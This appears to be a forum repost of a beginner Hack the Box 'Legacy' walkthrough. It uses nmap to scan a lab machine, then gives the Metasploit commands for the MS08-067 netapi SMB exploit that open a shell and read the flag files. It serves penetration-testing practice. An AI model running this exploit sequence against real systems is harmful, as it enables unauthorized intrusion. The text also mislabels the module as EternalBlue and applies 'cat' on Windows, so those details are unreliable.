<https://raidforum.co/threads/legacy-walkthrough.126/>
<http://schema.org/articleBody>
"Hello friends!! Today we are going to solve another CTF challenge “Legacy” which is lab presented by Hack the Box for making online penetration practices according to your experience level. They have a collection of vulnerable labs as challenges from beginners to Expert level. HTB have two partitions of lab i.e. Active and retired since we can’t submit write up of any Active lab, therefore, we have chosen retried Legacy lab.\n\nLevel: Beginners\n\nTask: find user.txt and root.txt file in the victim’s machine.\n\nLet’s begin the Game!!\n\nSince these labs are online available therefore they have static IP and IP of Legacy is 10.10.10.4 so let’s begin with nmap port enumeration.\n\nnmap -A 10.10.10.4\n\nFrom the given below image, you can observe that we found open port 139 and 445 denotes that it is a windows machine.\n\nWhen I extract the complete result of nmap I found the following details\n\nOS: Windows XP\n\nComputer name: Legacy\n\nNetBIOS computer name Legacy\n\nAs we know in Windows XP Port 445 was vulnerable to netapi exploit and it was a remarkable vulnerability in SMB protocol.\n\n\n\nLet confirm SMB vulnerability in victims system using nmap script.\n\nnmap --script vuln -p445 10.10.10.4\n\nAwesome!! Victim’s machine is vulnerable to MS08-67exploit.\n\n\n\nThen I run msfconsole command in terminal and load metasploit framework for using eternal blue module for exploiting target machine.\n\nuse exploit/windows/smb/ms08_067_netapi\nmsf exploit(windows/smb/ms08_067_netapi) >set rhost 10.10.10.4\nmsf exploit(windows/smb/ms08_067_netapi) >set rport 445\nmsf exploit(windows/smb/ms08_067_netapi) >set lhost 10.10.14.3\nmsf exploit(windows/smb/ms08_067_netapi) >exploit\n\nAwesome!! I have got unauthorized access of victims command shell through session 1 as shown in below image.\n\n\n\nInside C:\\Document and Setting \\john\\Desktop I found the user.txt file and used cat “filename” command for reading this file.\n\ncat user.txt\n\nGreat!! We got our 1st flag successfully\n\n\n\nInside C:\\Document and Settings\\Administrator\\Desktop I found the root.txt file and used cat “filename” command for reading this file.\n\ncat root.txt\n\nGreat!! We got our 2nd flag successfully"
<https://raidforum.co/threads/legacy-walkthrough.126/>